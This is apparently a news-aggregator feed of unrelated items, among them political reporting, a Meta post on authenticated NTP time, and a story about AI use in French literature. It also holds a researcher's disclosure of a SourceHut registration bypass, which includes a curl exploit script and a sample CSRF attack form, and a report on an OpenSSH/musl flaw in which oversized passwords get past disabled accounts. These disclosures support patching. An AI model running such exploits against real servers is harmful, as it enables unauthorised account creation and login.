“Democratic leadership wants to focus on people’s everyday lives and affordability, not impeaching Hegseth. But here we are. We are going to vote on impeachment because of Tom Massie. It’s happening,” said the senior staffer. “This reckoning is coming whether we want it or not. So why not?”

California Democrat Ro Khanna, who serves on the House Armed Services Committee and has repeatedly sparred with Hegseth during hearings, told The Intercept that he supports impeachment and thinks its odds of succeeding are “decent.” Rep. Adam Smith of Washington, the top Democrat on that committee, vowed on Wednesday to conduct aggressive Pentagon oversight and backed efforts to impeach Hegseth. “Going after the corruption, and going after the lack of transparency,” Smith told the Seattle Times of his plans to hold the department accountable while expressing support for Massie’s impeachment push.

In 250 years, the House has impeached just two Cabinet secretaries: William Belknap, the secretary of war, in 1876; and Alejandro Mayorkas, the secretary of homeland security, in 2024. In both cases, the Senate did not convict. Should Massie’s impeachment measure succeed in the House, it would likely die in the Senate, where Majority Leader John Thune, R-S.D., would have no incentive to bring it to a vote, said a congressional staffer for a member on the Armed Services Committee.

But some pundits predict Hegseth may not survive next week, much less the month or the year.

The president “always loves you right up until he throws you under the bus.”

Trump was asked Wednesday afternoon whether he was considering replacing Hegseth, and he told reporters, “No, I think he’s doing a very good job.” One former Pentagon official called such public support from Trump “the kiss of death.” Another current defense official agreed. “He may lose his top cover,” said that official, using military slang for protection from above. The president, the official said, “always loves you right up until he throws you under the bus.”

As Republicans make sense of their loss, many are pointing to the Iran war, including Vice President JD Vance. “The reason we lost is the war,” he wrote on X . A Republican staffer on Capitol Hill said Hegseth “could easily become the president’s fall guy.” The senior staffer agreed, saying Hegseth “might be purged, himself, to avoid additional embarrassment.”

“If Hegseth does stay and he survives this moment, Oversight is going to come crashing down on his head,” said the senior staffer on Wednesday. “Will Hegseth continue to obstruct? Yes. But wait until the subpoenas start.”

Congressional committees have broad investigative powers, including the authority to subpoena administration officials to testify under oath and compel them to turn over documents. Smith said Hegseth and Deputy Secretary of Defense Steve Feinberg would be first on the list to testify. “We haven’t gotten a report back from the Minab girls’ school strike. How come we haven’t gotten clarity on the strike in Kuwait that killed six service members? How come they haven’t told us what the true cost is that’s been absorbed by all of our bases that have been destroyed in the Middle East?” Smith said to the Seattle Times. “There’s a host of issues we could dive into.”

Another staffer said renewed scrutiny of abuses of war powers like the boat strikes, especially the initial double-tap attack first disclosed by The Intercept; the secret memorandum by the Office of Legal Counsel laying out the legal rationale for the strikes; and the hidden costs, U.S. casualties , civilian casualties , and destruction of U.S. bases during the Iran war, would open a Pandora’s box for Hegseth.

In the Senate, Democrats have floated Hegseth’s removal as the price for cooperation on key legislation in the lame-duck session. Their Republican colleagues have also increasingly soured on Hegseth as he has purged top military commanders with whom they have strong ties. “They see Hegseth as the next Kristi Noem,” said one Capitol Hill source, referencing the former secretary of homeland security who was demoted this year to special envoy for the newly founded Shield of the Americas coalition after influential Republican senators turned against her.

On Tuesday, Sen. Thom Tillis of North Carolina, a Republican who is retiring, warned Hegseth of a coming “reckoning” in the lame-duck session. “He is one of the reasons why we don’t have the funding or guarantee for defense that we need,” he said. “I think after the election, we need to determine whether or not he’s the best person to bring those needs to Congress.”

Antipathy to Hegseth also extends far beyond the Beltway. Just 32 percent of voters approve of the way he is handling his job, while 57 percent disapprove, according to a Quinnipiac University poll in September. It was his lowest approval ever and historically dismal. ( Fifty percent approved and only 13 percent disapproved of Trump’s first Secretary of Defense, James Mattis, late in his tenure in 2018.) Hegseth is even less popular in military circles. Sixty-four percent of active-duty service members, veterans, and military families disapprove of Hegseth, according to a recent poll conducted by Common Defense, a grassroots veterans organization. Last month, a Politico poll found that 63 percent of Democratic midterm voters would support impeaching the Pentagon chief.

Enemies Within

The war secretary is also under withering fire within the Pentagon, according to the current and former officials. They say Hegseth is reviled across the building by officers biding their time, waiting for him to flame out or be pushed out.

Derided in the Pentagon and the ranks by a variety of monikers such as “No Tab Pete,” a reference to his lack of prestigious military qualification patches such as the Ranger tab; “Whiskey Pete”; and “Dumb McNamara,” a reference to the Vietnam War-era Defense Secretary Robert McNamara, responsible for unfathomable death and suffering; Hegseth has been excoriated within his department for unhinged behavior — especially his relentless purge of top brass and high-ranking officials, which insiders see as an attempt to root out dissenting viewpoints, racial minorities, and women.

To enforce strict discipline, tamp down scandals, keep basic information from the American people and cow dissent, Hegseth has unleashed unrelenting polygraph tests of officials, even senior leaders. Several officials would not respond to questions citing this reason. One likened their situation to life under a totalitarian regime. Hegseth’s minions have also engaged in browbeating “leaky” offices. These efforts have generated further ill will throughout the Pentagon and the wider defense establishment. “The more good people he forces out of the military, the more the resentment grows,” said a current official.

Lt. Gen. Brett Sylvia — who served as director for strategy, plans and policy on the Joint Staff assisting Joint Chiefs chair Gen. Dan Caine — was recently ousted. “She’s gonna have big problems, said Trump, who apparently thought the male general was a woman . “We’re very much looking for leakers.” Sylvia replaced Lt. Gen. Joseph McGee, whom Hegseth forced out last year. While not naming Sylvia, Pentagon mouthpiece Sean Parnell issued a social media broadside. “Following an extensive Air Force OSI investigation, the Department took necessary personnel action to protect sensitive information,” he crowed on X . “We vowed to find you, and we meant it.”

Other casualties of Hegseth’s campaign include Gen. Charles “CQ” Brown Jr. (chair of the Joint Chiefs of Staff), Adm. Lisa Franchetti (chief of Naval Operations), Gen. David Allvin (Air Force chief of staff), Adm. Linda Fagan (commandant of the Coast Guard), Lt. Gen. Jennifer Short (senior military assistant to the Secretary of Defense), Vice Adm. Shoshana Chatfield (U.S. military representative to the NATO Military Committee), and Lacore, the former vice admiral and Navy Reserve chief, now likely representative-elect, among others.

The officials said that Hegseth’s efforts to remake the military have done grave damage to the armed forces. “When you put people on polygraphs and fire a bunch of people who question the status quo and consistently shut down the conversation, then you absolutely lose the best leaders,” said a former field grade officer who served in Hegseth’s Pentagon. “You’re strangling initiative and creating a culture of yes men and yes women.”

Officials repeatedly lamented long-term harm to the Pentagon, whenever Hegseth leaves the helm. “He’s purging a generation of great leaders of the military, and it’s going to take a generation to recover from it,” said Sen. Mark Kelly, D-Ariz., a former Navy combat pilot who has been targeted by Hegseth . The former field grade officer echoed this. “If you’re doing it right, the talent selection is being done ten years out,” the source said, noting that promotions are a long-term process. “It’s about years down the road. And these people are being fired and forced out. We’re losing them. That’s generational impact that’s harming the force.”

In his September “state of the force” address to more than 500 junior officers and enlisted troops, Hegseth announced, “We are no longer the Woke Department or the Weak Department. Simple translation of that: No fatties. No trannies. No beardos. No weirdos. No wimps. No radicals.” He added, “The ideological clowns are out. The patriotic cowboys are in — with testosterone testing on top.”

Several officials drew connections between Hegseth’s fixation on manliness and testosterone with his childish fixation on “lethality,” his glorification of violence, and bloodlust. “‘Maximum lethality, not tepid legality,’” said one official quoting a Hegseth line. “That kind of language and the very, very real killing of civilians — and the posting online of what are outright snuff films, the narco-boat strikes, is evidence of a sickness of his mind.”

The real-world effects of Hegseth’s lethality obsession have been devastating. His Pentagon has gutted its premier center devoted to preventing civilian casualties in war zones. He also removed constraints on military commanders, “letting his preferred generals do anything they want,” said one of the former defense officials. This resulted, for example, in significantly more civilian casualties during attacks on Yemen’s Houthi government in 2025, while failing to achieve military objectives. The Pentagon’s own accounting of civilian casualties found that U.S. attacks killed 153 civilians and wounded almost 250 during the campaign of air and naval strikes, code-named Operation Rough Rider. A current official told The Intercept these were “lowball numbers.” At least 238 civilians were killed and 467 injured, according to the Yemen Data Project.

“This obsession with performative violence is a hallmark of fascist dictatorships.”

Several sources drew special attention to Hegseth’s effort — ultimately blocked by Trump — to livestream the firing squad execution of Nidal Hasan, who killed 13 people when he opened fire at Fort Hood in 2009. “This obsession with performative violence is a hallmark of fascist dictatorships,” said Bryant. Hegseth’s lethality doctrine, he continued, “is not only in line with the glorification of and reveling in violence and killing that defines him but is juvenile and ignorant from an operational and policy standpoint, as killing and lethality is only one relatively small aspect of what the military does.”

Officials also keyed in on Hegseth’s stilted version of violent Christianity . One former official pointed to Hegseth’s monthly Pentagon prayer services as sowing dissent within the building. “I would never go to that shit,” said a current official, drawing specific attention to a March service in which Hegseth quoted Psalm 3, praying for God to “break the teeth of the ungodly,” and asking God to back troops’ “overwhelming violence of action against those who deserve no mercy.” That official said Hegseth’s Christianity was an “abomination” and “an affront to the teachings of Jesus Christ.”

Bryant, a retired Air Force Special Operations targeting specialist and co-author of “Hunting the Caliphate: America’s War on ISIS and the Dawn of the Strike Cell,” likened Hegseth’s interpretation of Christianity to the puritanical brand of religion practiced by America’s enemies during the war on terror. “His so-called war on woke is actually a far-right Christian nationalist crusade. His skewed version of Christianity is as extreme as the sharia of ISIS and the Taliban are to Islam. And that’s what he is infusing into, and proliferating across, the force.”

Hegseth has been quick to smear everyone from veterans serving in Congress to members of the press as treasonous, calling rigorous reporting on the military “fundamentally anti-American.” He added: “It’s sick. It’s a national betrayal. It’s treason, actually.” Hegseth frequently tries to paint criticism of his department as smearing troops to foster an us-them divide between the military and the American people they serve.

During his September state of the force address, Hegseth cast troops as superior to those in the civilian world. “See, the Ivy League faculty lounges, they’ll never understand you, and that’s OK, because they could never, ever do what you do. The media will mischaracterize you, and that’s OK. Because deep down they know you’re the real reason they live free. They envy you because you do real things every single day,” said Hegseth, an Ivy League-educated millionaire who used to work for Fox News. “Lethality is your calling card. … The outside world can’t understand this, so stay true to this department. You don’t want to look like civilians, because you are different, you are set apart. You are warriors.” He added, “You are the real 1 percent.”

Several officials said Hegseth’s effort to cast the armed forces as superior to the rest of the American people was antithetical to military values and especially alarming under an administration that has dispatched troops to American cities and threatens to do so, again. “The worst thing would be if we deploy the military in the streets of cities like they did last year in California. I’m talking about where the military is violently interacting with our citizenry,” said the former field grade officer. “You’ve paved the way for a more obedient military and then you have guys and gals with the guns having to decide whether orders — from the president that we elected and the secretary of defense that he’s appointed — are lawful. It’s dangerous.”

Bryant, who served as branch chief of civilian harm assessments at the Pentagon, pointed out that Hegseth’s dichotomy embraces the elitism that he claims to despise. “Our military, just as our government, is meant to be not only for the people but of the people,” he told The Intercept. “When we look at fascist military regimes, now and in history, another hallmark is this strict separation of soldier or warrior class from the civilian population. It is fundamentally anti-American and it is dangerous.”

All six officials, in one way or another, assailed Hegseth as juvenile, embarrassing, and unserious. “Imagine any other SecDef talking about packing the Pentagon with ‘patriotic cowboys,’” said one of the former officials. “Any one of them would have been run out of town.” A current official said Hegseth was unequivocally the “worst SecDef in memory” and that Massie’s impeachment vote couldn’t come soon enough. That official said it would take years to undo the harm Hegseth has done to the military but whether he was removed by impeachment, was fired by Trump, or quit under duress, the first step was ridding the Pentagon of his presence. “Hegseth,” he said “has got to go.”

SourceHut disabled registration bypass | CVE-2026-121728

Lobsters
blog.arusekk.pl
2026-11-05 13:34:41
Comments...
Original Article

( plaintext version for nerds - patches welcome)

So, last time I wrote about account takeover using XSS on the CI platform of SourceHut .

This time I found something not nearly as ‘impactful’, but still interesting. Sorry for taking this long, but my SSD literally died 1 and while waiting for a warranty repair I had to buy a used one (have you seen the prices yet??) 2 . It finally arrived so here I am.

So, if you want me to work faster, just drop me some money. 3

No NLP

Again, as you might know, I am not very excited about the current wave of natural language processing. 4

No NLP has been used in this research. The mistakes are all mine.

The background

SourceHut has been undergoing quite an architectural change. Its frontend was first built using Flask and Jinja templates and SQLAlchemy. But, for performance reasons, and for other reasons (decoupling of business logic, graphql) the API has been ported over to Go.

The problem

Back in 2021, while moving registration code from the frontend to the graphql backend, a subtle logic bug got introduced. While the frontend never shows a registration form, and states prominently ‘registration is currently closed’, the form handler is still there. It correctly states that registration is closed on every error path, but on the happy path it does not seem to ever check it. So if you happen to remember how to submit the form…

The exploitation

You just need to POST /register/step2 with your desired username, email and password. If the server in question disables registration, but has its SMTP configured properly (you still need to do email confirmation), boom, you are in.

There is only one caveat, the csrf token — protection against Cross-Site Request Forgery, like a www.attacker.com containing <form action="https://meta.sr.ht/profile/delete"> (or 307ing there), because yes you can post forms to other sites, and yes the request will carry valid cookies. What other sites cannot know are the values of input fields in the form presented to you specifically, so the typical protection is <input type="hidden" name="_csrf_token" value="1d02711ce5a3a17342..."> .

There is no registration form displayed, so there is no token. However, fortunately for us attackers, the token from /login works just fine.

The exploit

#!/bin/sh

#META=https://meta.copyleft.market
META=http://127.0.0.1:5000
USERNAME=azurediamond
EMAIL=test@example.com
PASSWORD=hunter2

csrf=$(curl -c cookie.txt $META/login |grep -A1 csrf |cut -d\' -f2 |tail -1)
curl -v -b cookie.txt $META/register/step2 \
        -d _csrf_token="$csrf" \
        -d username="$USERNAME" \
        -d email="$EMAIL" \
        -d password="$PASSWORD"

Timeline

  • 2021-09-24 - vulnerability introduced
  • 2026-08-13 - I write ‘registration [on meta.copyleft.market ] is disabled, so good luck getting anywhere’
  • 2026-09-24 - my SSD dies quite literally as I publish the writeup on the account takeover vulnerability
  • 2026-10-?? - I keep thinking about what I wrote back on 2026-08-13
  • 2026-11-02 - disclosure to SourceHut’s security mailing list
  • 2026-11-03 - ack, fix lands, downstream notified, this post published, CVE id requested from VulnCheck
  • 2026-11-03 - VulnCheck assigns CVE-2026-121728
  • some day, profit?

Summary

Lessons learned:

  • Refactors can swallow security checks.
  • Double check correctness on auth flows.
  • CSRF protection would prevent this if the token was scope-limited to the specific endpoint each form points to.
  • VulnCheck is nice but their contact channels can still get more responsive.

Does anyone know a bug bounty program where the researcher pays an upfront participation fee? I will set mine up this way for sure, and you should consider it too, if you are drowning in submissions.

As I said the last time, I am not done. Stay tuned (follow me on all socials to be sure, and RSS of course) and call hire me maybe.

How to Lie With Statistics (1954) [pdf]

Hacker News
www.horace.org
2026-11-05 13:29:22
Comments...
Original Article
No preview for link for known binary extension (.pdf), Link: https://www.horace.org/blog/wp-content/uploads/2012/05/How-to-Lie-With-Statistics-1954-Huff.pdf.

How to Lie With Statistics (1954)

Hacker News
archive.org
2026-11-05 13:29:22
Comments...
Original Article

5,408 Views

144 Favorites

Purchase options

Better World Books

DOWNLOAD OPTIONS

No suitable files to display here.

IN COLLECTIONS

Internet Archive Books

Uploaded by Christine Wagner on

NTS: Authenticated Time at Meta

Hacker News
engineering.fb.com
2026-11-05 13:24:28
Comments...
Original Article
  • Meta’s public time service now speaks NTS (Network Time Security, RFC 8915) at nts.meta.com . Packets are authenticated, so a device can verify the time came from us and was not modified on the way.
  • Our NTS servers hold no per-client state. Cookie keys are derived, not stored and not replicated.
  • We’ve open sourced everything, including the protocol, server, client through Meta’s Time library on GitHub .
  • We’re also encouraging everyone, particularly those who maintain an NTP client on Android or iOS, to join us in enabling NTS support.

We’ve previously written about building a more accurate time service at Meta scale – migrating from ntpd to chrony, going from 10 milliseconds to 100 microseconds, and opening time.meta.com to everyone.

That work made time precise. This work makes it verifiable.

Why NTS?

NTP has been unauthenticated since 1985, like a lot of the internet’s foundational protocols. But it is also the one every certificate, token, and signature is checked against. The client sends 48 bytes, something sends 48 bytes back, and the client believes it. There is no signature and no identity.

It is not alone in that. Plenty of the internet’s foundational protocols were designed for a network where nobody was assumed to be hostile, and the industry has been retrofitting them ever since. What makes time different is that it is not just another protocol to secure. It is the input every other security decision is measured against.

For most of NTP’s life that did not matter much, because a clock being a few seconds off was an operational annoyance. Today it is load-bearing:

  • Certificate validation: notBefore and notAfter are compared against the local clock. Wrong clock, wrong answer.
  • Token and credential expiry: “Valid for 15 minutes” is a claim about a clock.
  • Replay windows: Rejecting a request older than N seconds requires knowing what time it is.
  • Log correlation and ordering: Two hosts that disagree produce a timeline that never happened.

And the check itself is circular. You can’t do X.509 notBefore / notAfter validation without knowing the current time. Effectively you’d have to disable cert time validation, or implement one of the suggested work-arounds.

There are two common workarounds. Both are bad. You can skip validation until the clock is set, which leaves a device unprotected exactly when it is most exposed. Or you can build in-slack: A certificate issued at 12:00:00 is rejected by a client whose clock reads 11:59:30, so issuers backdate notBefore by a few minutes and validators quietly widen the window at their end. Both sides are guessing at how wrong the other one is.

That was survivable when a certificate lasted 398 days. CA/Browser Forum ballot SC-081v3 changed that. The cap on newly issued publicly trusted TLS certificates dropped to 200 days in March 2026, falls to 100 days in March 2027, and reaches 47 days in March 2029 — with domain validation reuse dropping to 10 days at the same point.

At 47 days, manual certificate management stops being viable at any scale. Renewal moves to roughly monthly, and it happens unattended — usually over ACME. An automated renewal loop on a host with a skewed clock does not raise a ticket. It reissues, or it fails, on a schedule nobody is watching.

How NTS Works

NTS works in phases, and separating them is what makes it deployable.

Phase 1 – Key Establishment (NTS-KE): TLS 1.3 over TCP/4460, negotiated with ALPN ntske/1 . The client and server agree on an AEAD algorithm, then derive two directional session keys (C2S and S2C) straight from the TLS session using the RFC 5705 exporter. The server issues eight cookies, tells the client which NTP server to actually use via a server negotiation record, and closes the connection. This happens once, not per packet.

We negotiate three AEADs: AES-SIV-CMAC-256 (ID 15), which RFC 8915 makes mandatory to implement and is what an unknown client is most likely to ask for; AES-SIV-CMAC-512 (17); and AES-128-GCM-SIV (30). Client preference wins.

Phase 2 – Authenticated NTP: Standard NTPv4 over UDP/123 to the advertised server, with NTS extension fields. A request carries a unique identifier, a cookie, and an authenticator; the authenticator covers everything before it, but encrypts nothing. The server opens the cookie to recover the session keys, verifies that authenticator, and replies with the unique identifier echoed back plus an authenticator of its own – and that one does carry a payload: the fresh cookies, encrypted inside it.

A forged packet fails verification and is dropped. We do not send an NTS NAK, so a failure is indistinguishable from packet loss and cannot be used to push a client into a fresh key exchange. A replayed response carries the wrong unique identifier and matches no outstanding request. Because the replacement cookies ride inside the response authenticator rather than in the clear, an observer sees a different opaque blob every exchange and cannot follow a client between networks. Spending each cookie once is the client’s side of that bargain – the server is stateless and does not track them.

Cookies Without State

A cookie is a server state handed to the client for safekeeping. It holds the session keys, sealed with AES-SIV so only the server can open it. The obvious implementation is a key ring replicated to every server, which turns time service into a distributed state problem.

We do not replicate keys. Each server derives the sealing key from a shared master secret and the current day:

key = HKDF-SHA256(master, salt = BE32(day), info = “fbnts-cookie-seal-v1”)


Since the Unix epoch,
day is measured as whole 24-hour periods,  not a calendar day. So there is no timezone and no DST, and every host computes the same integer for the same instant. That integer is the cookie’s key ID and travels in the clear. A server that has been handed a cookie it has never seen or sealed by a host it has never talked to, re-derives the key and opens it. We accept two days back and one forward to cover skew around a rotation boundary.

The result is no key ring, no replication, no session table, no shared state to fall out of sync, and nothing for an attacker to exhaust. It is also what makes the split above work – the KE server and the NTP servers it hands you off to are different machines in different places, and they never exchange anything. Adding a server is adding a server.

The plain NTP path is untouched. The responder parses extension fields only when they are present, so unauthenticated clients hit the same code as before at the same cost.

Using NTS

One line of chrony config:

pool nts.meta.com nts iburst maxsources 5

nts.meta.com terminates key exchange only. During the handshake it advertises an NTP responder in a server negotiation record, so the client is steered to time.meta.com and sends its authenticated NTP there. The host you configure is not the host you end up talking to.

That indirection is why we use pool rather than server . A single server line gives you one association and one responder, which is a single point of failure – and NTP is a protocol that wants several sources so it can outvote a bad one. pool asks for maxsources independent associations. Each runs its own key exchange over its own TLS session, so each ends up with a distinct pair of session keys:

$ chronyc authdata
Name/IP address Mode KeyID Type KLen Last Atmp NAK Cook CLen
time1.meta.com NTS 5 30 128 27 0 0 8 68
time2.meta.com NTS 7 30 128 142 0 0 8 68
time3.meta.com NTS 10 30 128 548 0 0 8 68
time4.meta.com NTS 1 30 128 1177 0 0 8 68
time5.meta.com NTS 2 30 128 1177 0 0 8 68

Five rows, five independent authenticated sources, from one line of config and one KE endpoint.

Reading across: Type 30 is the negotiated AEAD, AES-128-GCM-SIV, with KLen 128 bits of session key — chrony lists it first and client preference wins. CLen 68 is the cookie: 36 bytes of envelope around the two 16-byte keys inside. Cook 8 is cookies in hand and NAK 0 means none has been rejected.

The more interesting half is not in the table. Each row’s session keys came out of its own TLS handshake and work only for that association. The key that seals them into a cookie is the shared one – the epoch day number from the derivation above, identical on every responder we run, stamped inside each cookie and never visible to the client. That split is what lets a single key exchange hand a client five different responders that have never spoken to each other.

When a pool member completes key exchange and moves to its negotiated responder, the freed KE address is handed to the next unresolved member, repeating until maxsources responders have answered. Five sources come up in about 20 minutes as each member completes its own key exchange in turn.

NTS Protects Against Attacks

Unlike NTP, NTS stops a man-in-the-middle (MITM) attack from forging the answer. A classic MITM attack doesn’t need to break any cryptography, it just has to answer a client before a real server does. If an attacker rolls the clock backward they can make expired certificates validate again or revoked tokens work again. Any control that relies on something having expired is reset. If they roll the clock forward everything expires at once. This is the more difficult direction to address because beyond a certain point the failure stops being recoverable.

Let’s look at an example of what happens to a device that gets convinced it is the year 2037. NTP counts seconds in a 32-bit field that wraps in February 2036, and a client stranded on the far side of that boundary computes its correction into the wrong era – so the mechanism that exists to fix a wrong clock now moves it further away. Meanwhile every certificate the device holds is long expired, so TLS fails, therefore it cannot reach anything that might help, including its own update service. The patch that would fix it cannot be delivered, because delivering it needs the clock that is broken.

The device is not damaged. Every component works exactly as designed. It is simply holding a number that puts it outside the reach of the network. And no amount of waiting or rebooting fixes it. Recovery means a factory reset, or a trip to a service center. Multiply that by a fleet and the cost of a wrong integer becomes a logistics problem.

Now, consider a clock forward attack on a host that issues credentials. Short-lived credentials are considered safe because they expire quickly, which means short lifetime is doing the job revocation would otherwise do. That property is entirely a function of the issuing host’s clock. An issuer convinced it is next year signs credentials that outlive the window you designed for.

What NTS Does Not Fix

Delay attacks. RFC 8915 is explicit. An attacker who holds your packets shifts your clock by up to half the delay introduced, and no cryptography in the protocol detects it, because every byte is genuine. Authentication tells you who wrote a packet, not how long it spent in flight. Mitigations are the usual ones – multiple independent sources, sanity limits, bounded steps.

So the claim is narrow: An on-path attacker can still delay your packets and can still drop them. What they can no longer do is lie about the contents.

Bootstrapping. NTS-KE runs over TLS and TLS wants a working clock, which is the same circular problem as above. A device with a dead RTC still has to get roughly correct before its first handshake.

Wrong servers. NTS authenticates the path, not the answer. A server that is correctly configured, correctly authenticated, and simply wrong will hand you the wrong time with a perfect signature on it. Quorum, sanity checks, and monitoring are still required.

Monotonicity. Authenticated time is still wall-clock time, and wall clocks move backward — at a leap second, or whenever a correction lands. Cloudflare’s authoritative DNS hit this at the end of 2016 : a resolver round-trip measured across the leap second came out negative, propagated into upstream selection, and panicked Go’s rand.Int63n(). Nothing was forged and nothing was misdelivered. If your code measures elapsed time, use a monotonic clock.

Adoption

RFC 8915, Network Time Security for the Network Time Protocol, was published on the IETF Standards Track as a Proposed Standard in September 2020. Cloudflare had launched time.cloudflare.com with NTS 15 months earlier, in June 2019, against the then-current draft, and showed it works at scale.

Server-side, the public NTS list today runs to a few dozen entries, mostly national metrology institutes and internet infrastructure operators such as PTB, Netnod, and time.nl. We are adding one more.

The bigger gap is on the client. NTS support exists where you would expect it in the server world – chrony and ntpsec implement it. It is absent entirely from the stock time client on the platforms that account for most of the endpoints on the internet.

Android’s platform time sync is plain SNTP over UDP/123 – a fixed 48-byte packet with no extension-field handling, alongside NITZ and GNSS – so there is no NTS path in it. Apple devices sync through timed against time.apple.com , where we are not aware of any NTS support either.

Those two stacks set the clock on billions of phones, watches and headsets, and every one of them is trusting an unauthenticated UDP packet. A device vendor can ship a separate NTS-capable client today — chrony runs perfectly well on Android – but that is a workaround for something the platform should do itself.

The protocol is finished, the servers are appearing, the client implementations exist.

What is missing is mobile.

Join Us in Enabling NTS

nts.meta.com is live and free. The code is in github.com/facebook/time .

If you run a public time service, turn NTS on. If you maintain an NTP client, implement RFC 8915. If you own the time stack in a mobile OS, this is the gap – Android and iOS are where most of the world’s clocks get set, and both of them are still doing it over an unauthenticated packet.

We have spent years making time more precise. Precision without authenticity only gets you a very accurate number from an unknown source. Now it can be both.

Acknowledgements

We’d like to thank Sofia Scalzo, Pablo Mazzini, Vadim Fedorenko, Patrick Cullen, and Yixin Wei for their support on this project.

Winner of the Prix Goncourt literary prize admits to using AI

Guardian
www.theguardian.com
2026-11-05 13:08:58
Philippe Jaenada told French radio that he used ChatGPT to ‘play with the reader’, after the prize removed a different book from its longlist over allegations of AI use The winner of France’s most prestigious literary prize has admitted using artificial intelligence while writing his novel, barely a...
Original Article

The winner of France’s most prestigious literary prize has admitted using artificial intelligence while writing his novel, barely a day after collecting an award whose jury had thrown out another book over suspected AI use.

Philippe Jaenada, who won the Prix Goncourt on Tuesday for L’Inconnue du quai de Javel (The Unknown Woman of the Quai de Javel), told France Inter radio on Wednesday that he had turned to AI “three times” while writing it.

The first, he said, was to slip in a sentence written by ChatGPT in order to “play with the reader”. He said he had revealed which sentence it was only to the Goncourt jurors, on the day of the award. “If it gets out, I’ll know where it came from,” he said.

He also included a section of AI-generated text to poke fun at ChatGPT, which gave “completely absurd answers about a technical detail”, and for research.

“I don’t think AI can be held back. We can’t pretend it doesn’t exist,” said Jaenada, 62. “You have to use it – but first you have to acknowledge it, and above all you have to tame it. It has to be useful.”

The admission comes after the Académie Goncourt removed Thélyson Orélien’s book C’était ça ou Mourir (It Was That or Die) from its longlist in September. The Canadian-Haitian writer’s debut had been the breakout hit of France’s rentrée littéraire – the period between late August and early November which sees many books published in France – selling more than 35,000 copies and winning the Prix du roman Fnac (Fnac novel prize), before the journalist Samuel Fitoussi ran it through the AI-detection tool Pangram and concluded that much of it had been machine-generated. However, the accuracy of AI-detection software has been called into question.

In a statement on 25 September , the academy said analyses by researchers and journalists showed the novel was “in all likelihood very largely the product of an artificial intelligence”. It said it wanted to protect the integrity of a prize that exists to honour “literature written by women and men”, and to send “a clear message” that it did not endorse texts generated with the help of AI.

In an October statement , Orélien described the allegations as “slander and heresy”, adding that “not a single sentence in this book was created by a machine”. In the same statement, he admitted plagiarism in earlier work, apologising for claiming “as my own texts that are not mine”. The following week his Canadian publisher, Boréal, said new evidence showed AI had been used in the writing process, contrary to the author’s repeated assurances, and ended its relationship with him.

Jaenada had defended using AI before the award. “Would a film director hide the fact that he uses special effects?” he asked in an interview with 20 Minutes , predicting that it would soon be impossible to say a text was 100% human-written. But he insisted AI “will never be able to write a book with its heart, its soul, its memories”.

The contrast has prompted some accusations of a racial double standard online. “So when it’s an old white man it’s fine, but when it’s a young writer of colour he gets stoned in the public square?” one user wrote on X. Another said Jaenada had faced “no media lynching, no banishment” over his use of AI – “a leniency denied to Thélyson Orélien”.

skip past newsletter promotion

Jaenada won on the first round of voting, by six votes to three over Sylvain Prudhomme’s De l’autre côté du lac (The Other Side of the Lake). Shortlisted four times before, Jaenada has made a speciality of reinvestigating old French crimes. His winning book reconstructs the unsolved 1949 murder of Louise Cansot, a 29-year-old Breton artists’ model known in Montparnasse as “the woman with 100 portraits”.

The prize itself comes with only a symbolic €10 cheque, but it is France’s best known and most closely watched literary award.

The Académie Goncourt, presided over by the novelist Philippe Claudel, has been approached for comment.

Nasdaq Sinks 5% as Investors Retreat from AI Trade After Election

Hacker News
www.wsj.com
2026-11-05 13:00:01
Comments...
Original Article

Please enable JS and disable any ad blocker

OpenSSH flaw lets attackers log into password-disabled Linux accounts

Bleeping Computer
www.bleepingcomputer.com
2026-11-05 12:45:29
A newly disclosed OpenSSH vulnerability dubbed "*sshole" allows attackers to log in to certain Alpine Linux and other musl-based Linux accounts that are configured to block password authentication, simply by entering an oversized password. [...]...
Original Article

Authentication

A newly disclosed flaw involving OpenSSH and musl, dubbed "*sshole," allows attackers to log in to certain Alpine Linux and other musl-based Linux accounts configured to block password authentication simply by entering an oversized password.

The flaw only affects OpenSSH servers running on Linux distributions that use the musl C library, including Alpine Linux, OpenWrt, Buildroot, and Yocto, under certain authentication configurations.

Security researcher Ozgun Kultekin, who discovered and released details on the vulnerability today, says the flaw has existed since 2016 and stems from how OpenSSH handles password verification errors on systems using the musl C library.

image

Linux accounts can be configured to prevent password logins by replacing their password hash with an asterisk ( * ) in the /etc/shadow file. Because this is not a valid password hash, no password should allow access to those accounts.

However, a patch introduced in OpenSSH in 2016 to fix a username enumeration vulnerability tracked as CVE-2016-6210 changed how OpenSSH handled accounts without usable password hashes.

To prevent attackers from identifying valid usernames through different response times, OpenSSH was modified to perform password hashing even when an account had no usable password hash, including accounts configured with * to block password logins.

The problem is that the musl C library's crypt() function also returns * when password hashing fails, including when a submitted password exceeds its 256-byte limit.

This means an attacker can submit an oversized password and cause OpenSSH to compare the returned * against the account's stored * , resulting in a successful login.

To be clear, the flaw does not allow attackers to bypass passwords on accounts with valid password hashes.

Kultekin says exploitation requires the following conditions:

  • OpenSSH is running on a musl-based Linux system, such as Alpine Linux, OpenWrt, Buildroot, or Yocto.
  • PAM authentication is disabled, as it is by default in Alpine Linux's openssh-server package.
  • SSH password authentication is enabled.
  • At least one account has an asterisk (*) as its password hash.
  • Another account has a valid password hash.

The researcher warns that Alpine Linux's official AWS and Azure cloud images have an affected default 'alpine' account with passwordless 'doas' privileges, which could allow attackers to gain root access.

Systems using glibc, including Debian, Ubuntu, and Fedora, and those using PAM authentication are not vulnerable to this attack.

Kultekin says he discovered the vulnerability using AI agents that ran about 17,600 authentication tests with different OpenSSH configurations, malformed password hashes, and oversized passwords.

The vulnerability has been fixed in OpenSSH 10.6p2, and Alpine Linux administrators are advised to update their OpenSSH packages using apk upgrade openssh.

Admins who can't immediately install the update can mitigate the issue by turning off SSH password authentication with PasswordAuthentication no in their SSH server configuration and restarting SSH.

Kultekin says admins can also check for signs of exploitation by examining SSH authentication logs for password-based logins for accounts that should not allow them.

On Alpine Linux, the following command can reveal successful SSH password logins:

grep "Accepted password" /var/log/messages

If the logs show a successful password login for the alpine account, administrators can check whether that account has password authentication disabled:

grep '^alpine:' /etc/shadow

If the account's password field contains *, but SSH logs show a successful password login, it could indicate that the vulnerability was exploited.

article image

Uncover email threats your existing defenses may miss.

Adaptive Security's AI agents analyze email intent, context, and behavior to uncover phishing, business email compromise, and invoice fraud.

See what's getting through with a 14-day read-only scan of Microsoft 365 or Google Workspace, with no MX changes.

Start your free email security scan.

'The Real Housewives of New York City' Act…Normal?!

hellgate
hellgatenyc.com
2026-11-05 12:44:37
This week, RHONY gets domestic—minus a dog charity gala, of course....
Original Article

